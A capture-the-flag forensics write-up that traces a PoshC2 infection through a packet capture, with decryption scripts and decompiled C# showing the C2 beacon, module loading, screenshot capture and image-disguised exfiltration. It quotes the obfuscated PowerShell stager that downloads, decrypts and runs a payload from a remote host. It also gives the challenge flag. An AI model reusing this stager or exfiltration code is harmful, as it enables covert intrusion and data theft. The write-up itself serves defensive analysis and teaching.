A hard forensics challenge where we investigate a packet trace of someone's computer getting taken over by a Command & Control (C2) server. We reverse engineer a real-world C2 framework to understand how various encrypted and hidden messages go back and forth, using a .NET decompiler to look at loaded binaries in more detail.

Investigating PowerShell

In this challenge, we simply get a single capture.pcapng file, nothing more, nothing less. The first thing we should do is open it in Wireshark. The first thing we see is a few HTTP requests and responses, these are always interesting as we can read them in plain text easily. To view the whole stream, you can right-click on one of the TCP/HTTP packets, and choose Follow -> TCP Stream. This shows a response like the following, a PowerShell script as seen by the .ps1 extension:

PowerShell

GET /vn84.ps1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2364
Host: 64.226.84.200
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.8.10
Date: Thu, 09 Mar 2023 08:07:32 GMT
Content-type: application/octet-stream
Content-Length: 2035
Last-Modified: Thu, 09 Mar 2023 08:02:41 GMT

  .("{1}{0}{2}" -f'T','Set-i','em') ('vAriA'+'ble'+':q'+'L'+'z0so')  ( [tYpe]("{0}{1}{2}{3}" -F'SySTEM.i','o.Fi','lE','mode')) ;  &("{0}{2}{1}" -f'set-Vari','E','ABL') l60Yu3  ( [tYPe]("{7}{0}{5}{4}{3}{1}{2}{6}"-F'm.','ph','Y.ae','A','TY.crypTOgR','SeCuRi','S','sYSte'));  .("{0}{2}{1}{3}" -f 'Set-V','i','AR','aBle')  BI34  (  [TyPE]("{4}{7}{0}{1}{3}{2}{8}{5}{10}{6}{9}" -f 'TEm.secU','R','Y.CrY','IT','s','Y.','D','yS','pTogrAPH','E','CrypTOSTReAmmo'));  
${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.("{2}{1}{3}{0}"-f'ule','M','Import-','od') ("{2}{0}{3}{1}"-f 'r','fer','BitsT','ans')
.("{4}{5}{3}{1}{2}{0}"-f'r','-BitsT','ransfe','t','S','tar') -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &("{1}{0}{2}" -f 'w-Ob','Ne','ject') ("{1}{2}{0}"-f 'eam','IO.','FileStr')(${p`Tf},  ( &("{3}{1}{0}{2}" -f'lDIt','hi','eM','c')  ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .("{3}{1}{0}{2}"-f'c','je','t','New-Ob') ("{5}{3}{0}{2}{4}{1}" -f'O.Memor','eam','y','stem.I','Str','Sy');
${a`es} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::("{1}{0}" -f'reate','C').Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .("{1}{0}{2}"-f'e','N','w-Object') ("{4}{6}{2}{9}{1}{10}{0}{5}{8}{3}{7}" -f 'phy.Crypto','ptogr','ecuri','rea','Syste','S','m.S','m','t','ty.Cry','a')(${m`S}, ${a`Es}.("{0}{3}{2}{1}" -f'Cre','or','pt','ateDecry').Invoke(),   (&("{1}{2}{0}"-f 'ARIaBLE','Ge','T-V')  bI34  -VaLue )::"W`RItE");
${f`s}.("{1}{0}"-f 'To','Copy').Invoke(${Cs})
${d`ecD} = ${M`s}.("{0}{1}{2}"-f'T','oAr','ray').Invoke()
${C`S}.("{1}{0}"-f 'te','Wri').Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .("{2}{3}{1}{0}" -f'ent','t-Cont','S','e') -Path "$env:temp\tmp7102591.exe" -Encoding ("{1}{0}"-f 'yte','B')
& "$env:temp\tmp7102591.exe"

It looks a bit obfuscated, but nothing we can't deal with. Just reading the partial strings we can see it is doing some cryptography with a KEY and a IV, and seems to reference AES. In this case, the key is set to an array of bytes, where these bytes are set to 1's and 0's. Do not get these mistaken for bits, the whole key is the byte sequence (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0).

Okay great, now we have an encryption key and IV, the question remaining is what are we encrypting here? This is answered at the start of this PowerShell code. We see some "BitsTrasfer" references and a ${URL}. This URL is a bit obfuscated however, so let's just evaluate what the string would become when ran in PowerShell, making sure beforehand that there is no risk for running the payload on your own machine.

PowerShell

${U`Rl} = ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')

> ("{0}{4}{1}{5}{8}{6}{2}{7}{9}{3}"-f 'htt','4f0','53-41ab-938','d8e51','p://64.226.84.200/9497','8','58','a-ae1bd8','-','6')
http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51

Now we have a link. If we try to visit it, it does not respond. Likely because this payload has been brought offline already. But remember, we have the PCAP! We can just get the response from there to try and decrypt the original data. The next HTTP request (stream 2) is indeed a GET request to the URL we just found, with a lot of encrypted binary data. We can extract this data by setting Show data as to Raw, where we see the raw hex bytes from the packets. We just have to copy all the blue text (response) and make sure to remove the HTTP response headers, which are always ended by 2 newlines (0d0a0d0a). Then decode this text starting with 2cefef... From Hex to get the raw bytes.

When we download this file, it is still the encrypted text. But we have the key and IV, so let's just decrypt it:

Python

from Crypto.Cipher import AES

with open("tmp7102591.enc", "rb") as f:
    data = f.read()

KEY = bytes([0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0])
IV = bytes([0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1])

cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = cipher.decrypt(data)

with open("tmp7102591.exe", "wb") as f:
    f.write(decrypted)

We can run file on the created binary to see that it is indeed a Windows executable file, using ".Net":

Shell

$ file tmp7102591.exe 
tmp7102591.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Reversing the EXE

Whenever I see anything related to .NET or Windows exes, I spin up dnSpy to decompile and debug the binary. However, in some cases, it cannot load the binary because it is made for more specific purposes. An alternative is then a similar tool called ILSpy. If you use Windows Defender, dragging in the created .exe file might give this error, as it recognizes it is an existing piece of malware named "PoshC2":

System.IO.IOException: Operation did not complete successfully because the file contains a virus or potentially unwanted software.

For this analysis, we can just add an exclusion rule or disable the Realtime Protection temporarily to open this file in ILSpy. Now it successfully decompiles and we find a lot of functions in the main Program class. It talks about "Encryption", "Decryption", more "GetWebRequest" and "Exec" to name a few. As well as a URL that might be useful for searching in the PCAP later: http://64.226.84.200:8080.

We can look at the code of some interesting functions here, like Encryption() and Ctrl+F to find where these are used. We find that it seems to be the primer() function doing most of the work:

C#

private static string[] basearray = new string[1] { "http://64.226.84.200:8080" };

private static void primer() {
    if (!(DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now)) {
        return;
    }
    ...
    string[] array = basearray;
    for (int i = 0; i < array.Length; dfs++, i++) {
        string text4 = array[i];
        string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1";
        string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
        text3 = text4;
        string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
        try {
            string enc = GetWebRequest(Encryption(key, un)).DownloadString(address);
            text2 = Decryption(key, enc);
        } catch (Exception ex) {
            Console.WriteLine($" > Exception {ex.Message}");
            continue;
        }
        break;
    }
    Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
    Match match = regex.Match(text2);
    string randomURI = match.Groups[1].ToString();
    regex = new Regex("URLS10484390243(.*)34209348401SLRU");
    match = regex.Match(text2);
    string stringURLS = match.Groups[1].ToString();
    regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
    match = regex.Match(text2);
    string killDate = match.Groups[1].ToString();
    regex = new Regex("SLEEP98001(.*)10089PEELS");
    match = regex.Match(text2);
    string sleep = match.Groups[1].ToString();
    regex = new Regex("JITTER2025(.*)5202RETTIJ");
    match = regex.Match(text2);
    string jitter = match.Groups[1].ToString();
    regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
    match = regex.Match(text2);
    string key2 = match.Groups[1].ToString();
    regex = new Regex("IMGS19459394(.*)49395491SGMI");
    match = regex.Match(text2);
    string stringIMGS = match.Groups[1].ToString();
    ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
}

Here it calls the Encryption() function with a readable key on some string of data it is trying to extract. It then sends this encrypted data to all hosts in basearray on a specific path. We can again find this request in the PCAP (stream 3), and now our task is to understand how this encryption and decryption work. We are often working with encrypted data, that we want to decrypt into plain text to understand. So let's look at the Decryption() function:

C#

private static string Decryption(string key, string enc) {
    byte[] array = Convert.FromBase64String(enc);
    byte[] array2 = new byte[16];
    Array.Copy(array, array2, 16);
    try {
        SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2));
        byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
        return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(
            default (char))));
    } catch {
        SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), rij: false);
        byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
        return Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(
            default (char))));
    } finally {
        Array.Clear(array, 0, array.Length);
        Array.Clear(array2, 0, 16);
    }
}

private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true) {
    SymmetricAlgorithm symmetricAlgorithm = null;
    symmetricAlgorithm = ((!rij) ? ((SymmetricAlgorithm) new AesCryptoServiceProvider()) : ((SymmetricAlgorithm) new RijndaelManaged()));
    symmetricAlgorithm.Mode = CipherMode.CBC;
    symmetricAlgorithm.Padding = PaddingMode.Zeros;
    symmetricAlgorithm.BlockSize = 128;
    symmetricAlgorithm.KeySize = 256;
    if (IV != null) {
        symmetricAlgorithm.IV = Convert.FromBase64String(IV);
    } else {
        symmetricAlgorithm.GenerateIV();
    }
    if (key != null) {
        symmetricAlgorithm.Key = Convert.FromBase64String(key);
    }
    return symmetricAlgorithm;
}

Here it decodes the Base64 string into array, and copies the first 16 bytes into array2. These 16 bytes are then used as the IV in the cipher created with CreateCam(). Finally, it executes the cipher on the remaining bytes from array and returns that as a Base64 decoded string. We have found the key already, all that's left is just decrypting the response data from the PCAP again:

Python

from base64 import b64decode
from Crypto.Cipher import AES

with open("response.b64", "rb") as f:
    data = b64decode(f.read())

KEY = b64decode("DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=")
IV = data[:16]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = b64decode(cipher.decrypt(data[16:]).strip(b"\x00"))

This is the data that is being used by the rest of the primer() function to extract some configuration, and eventually call ImplantCore(). Now that we also have the plaintext string, we can get these values just like the malware would:

Python

print("randomURI", re.findall(rb"RANDOMURI19901(.*)10991IRUMODNAR",  decrypted)[0])  # dVfhJmc2ciKvPOC
print("stringURLS",re.findall(rb"URLS10484390243(.*)34209348401SLRU",decrypted)[0])  # "Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", ...
print("killDate",  re.findall(rb"KILLDATE1665(.*)5661ETADLLIK",      decrypted)[0])  # 2025-01-01
print("sleep",     re.findall(rb"SLEEP98001(.*)10089PEELS",          decrypted)[0])  # 3s
print("jitter",    re.findall(rb"JITTER2025(.*)5202RETTIJ",          decrypted)[0])  # 0.2
print("key2",      re.findall(rb"NEWKEY8839394(.*)4939388YEKWEN",    decrypted)[0])  # nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=
print("stringIMGS",re.findall(rb"IMGS19459394(.*)49395491SGMI",      decrypted)[0])  # "iVBORw0KGgoAAAANSUhEUgAAAB4AAAAeCAMAAAAM7l6QAAAAYFBMVEU1Njr...

Looking at ImplantCore

Especially the key2 value above is useful for us. It is used in the rest of the ImplantCore() function as Key, for more decryption. The first use of it is in another HTTP request to a randomly generated URL:

C#

while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - result)), (int)((double)(num * 1000) * (1.0 + result))))) {
    ...
    cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl());
    text = Decryption(Key, cmd).Replace("\0", string.Empty);
    ...
    string text2 = text.Replace("multicmd", "");
    string[] array = text2.Split(new string[1] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries);
    string[] array2 = array;
    foreach(string text3 in array2) {
        taskId = text3.Substring(0, 5);
        cmd = text3.Substring(5, text3.Length - 5);
        ...
        if (cmd.ToLower().StartsWith("loadmodule")) {
            string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
            Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
            Exec(stringBuilder.ToString(), taskId, Key);
        }
        ...

As always, we can see this request made in the PCAP (stream 5). A giant Base64 string is given as the response, which is decrypted in the same way as before, just with a different key now.

Python

import re
from base64 import b64decode
from Crypto.Cipher import AES

with open("initial_commands.b64", "rb") as f:
    data = b64decode(f.read())

KEY = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")
IV = data[:16]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = b64decode(cipher.decrypt(data[16:]).strip(b"\x00"))

commands = decrypted.replace(b"multicmd", b"").split(b"!d-3dion@LD!-d")
for command in commands:
    print(command[:100])

# b'00031loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAA'
# b'00032loadmoduleTVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAA'
# b'00033loadpowerstatus'

This prints a few commands, including two loadmodule commands with a large Base64 string. Looking at the source code again, this string is decoded and loaded with Assembly. Let's decode it and see what we can make of it.

Python

...
commands = decrypted.replace(b"multicmd", b"").split(b"!d-3dion@LD!-d")
for i, command in enumerate(commands):
    if b'loadmodule' in command:
        data = b64decode(command.split(b"loadmodule")[1])
        with open(f"{i}.dll", "wb") as f:
            f.write(data)

These DLL files are also .NET assemblies:

Shell

$ file *.dll
0.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
1.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

We can load them into ILSpy as well, to see what code is loaded. Especially the Core classes stand out, being the main functionality of the malware:

These Core classes will be called if a command comes in that is not recognized by the previous if statements, in the else case:

C#

} else {
    string text4 = rAsm($"run-exe Core.Program Core {cmd}");
}

Recovering the Screenshot

More commands can keep coming in than just the three we saw in the first request. If you remember, it was a while loop that waits a random amount of time and keeps asking the C2 server for new commands. If we look in Wireshark, there is one more raw Base64 response exactly like we saw earlier, all the way in stream 27:

HTTP

GET /Ciel/Constantine/Catlee?Cecile=Karina0938abe7-ec5c-45cc-ab71-31bc1e4fa7e7/?dVfhJmc2ciKvPOC HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Host: 64.226.84.200:8080
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: Apache 
Date: Thu, 09 Mar 2023 08:08:42 GMT
Content-type: text/html

y2TBZf7CIw8UGj+LY5/Sp6EVD5XaDKgw6Hk+rLjeewt6iWC3rHfg9XVsFBjFg1kUsP8sZ8a0jepdo7ssd9MI+A==

This is likely another command just like we saw with the loadmodules before, so let's decrypt it:

Python

data = b64decode(
    "y2TBZf7CIw8UGj+LY5/Sp6EVD5XaDKgw6Hk+rLjeewt6iWC3rHfg9XVsFBjFg1kUsP8sZ8a0jepdo7ssd9MI+A==")
...
commands = decrypted.replace(b"multicmd", b"").split(b"!d-3dion@LD!-d")
print(commands)  # [b'00036get-screenshot']

get-screenshot! This is an action the C2 server asked the infected computer to perform. Since it is not in the ImplantCore() function, it will be passed to the Core.Program DLL we found. Let's see how that screenshot functionality works:

C#

internal static void GetScreenshot(int width = 0, int height = 0, string taskId = null) {
    if (width == 0 && height == 0) {
        width = SystemInformation.VirtualScreen.Width;
        height = SystemInformation.VirtualScreen.Height;
    }
    ...
    Bitmap bitmap = new Bitmap(width, height);
    Graphics graphics = Graphics.FromImage(bitmap);
    Size blockRegionSize = new Size(width, height);
    graphics.CopyFromScreen(0, 0, 0, 0, blockRegionSize);
    MemoryStream memoryStream = new MemoryStream();
    bitmap.Save(memoryStream, ImageFormat.Png);
    Comms.Exec(Convert.ToBase64String(memoryStream.ToArray()), null, taskId);
}

Simple. It just takes a full-size screenshot of the screen and Base64 encodes it, to be sent back to the C2 server. But how exactly does it get sent? This happens sneakily in the Exec() function:

C#

public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null) {
    if (string.IsNullOrEmpty(key)) {
        key = pKey;
    }
    string cookie = Encryption(key, taskId);
    string text = "";
    text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
    byte[] cmdoutput = Convert.FromBase64String(text);
    byte[] imgData = ImgGen.GetImgData(cmdoutput);
    int num = 0;
    while (num < 5) {
        num++;
        try {
            GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
            num = 5;
        } catch {}
    }
}

Here cmd is the command output, key is set to pKey being our latest key2 variable, and it is encrypted again. The encryption normally generates a Base64 string, but this time it is decoded to raw data into cmdoutput. Then it is passed to ImgGen.GetImgData() to finally create the data that will be sent in the web request.

C#

internal static byte[] GetImgData(byte[] cmdoutput) {
    int num = 1500;
    int num2 = cmdoutput.Length + num;
    string s = _newImgs[new Random().Next(0, _newImgs.Count)];
    byte[] array = Convert.FromBase64String(s);
    byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
    byte[] array2 = new byte[num2];
    Array.Copy(array, 0, array2, 0, array.Length);
    Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
    Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
    return array2;
}
private static string RandomString(int length) {
    return new string((from s in Enumerable.Repeat("[email protected]", length) 
        select s[_rnd.Next(s.Length)]).ToArray());
}

This code might look a bit weird, but we'll look through it step by step. It defines a length of 1500 stored in num, and num2 becomes that + the length of our encrypted cmdoutput. Next, s becomes a randomly selected image and is decoded into array. bytes is a random string of the extra length required to make the image part exactly 1500 bytes long. Then finally comes the output added to the end.
In summary: image + padding until 1500 + cmdoutput.

So this data is uploaded to the C2 server, and it looks like an image from the start fooling some defense systems. But we know now that after the first 1500 bytes, comes the command output, which in this case is the screenshotted image. We can look at Wireshark one last time to find this uploaded data in stream 28. This is more binary data, so we can show data as Raw, copy the red text, and split off the first part before and including 0d0a0d0a while leaving everything after 89504e....

We'll use a final Python script to extract and decrypt the screenshotted image:

Python

from base64 import b64decode
from Crypto.Cipher import AES

KEY = b64decode("nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=")

with open("cmdoutput_hidden.png", "rb") as f:
    f.seek(1500)  # Skip until cmdoutput
    s = f.read()

IV = s[:16]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
decrypted = cipher.decrypt(s[16:]).strip(b"\x00")

with open("cmdoutput.bin", "wb") as f:
    f.write(decrypted)

The file this creates is not yet a PNG file, it is firstly gzip-compressed, as well as Base64 encoded again:

Shell

$ file cmdoutput.bin
cmdoutput.bin: gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 289126544 gzip compressed data, unknown method, ASCII, has comment, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 289126544
$ cat cmdoutput.bin | gunzip > cmdoutput.b64
$ cat cmdoutput.b64
iVBORw0KGgoAAAANSUhEUgAAB3oAAAOcCAYAAACol7Bl...
$ base64 -d cmdoutput.b64 > cmdoutput.png

Finally, opening the screenshot we see a note with the flag in the top right corner:

HTB{h0w_c4N_y0U_s3e_p05H_c0mM4nd?}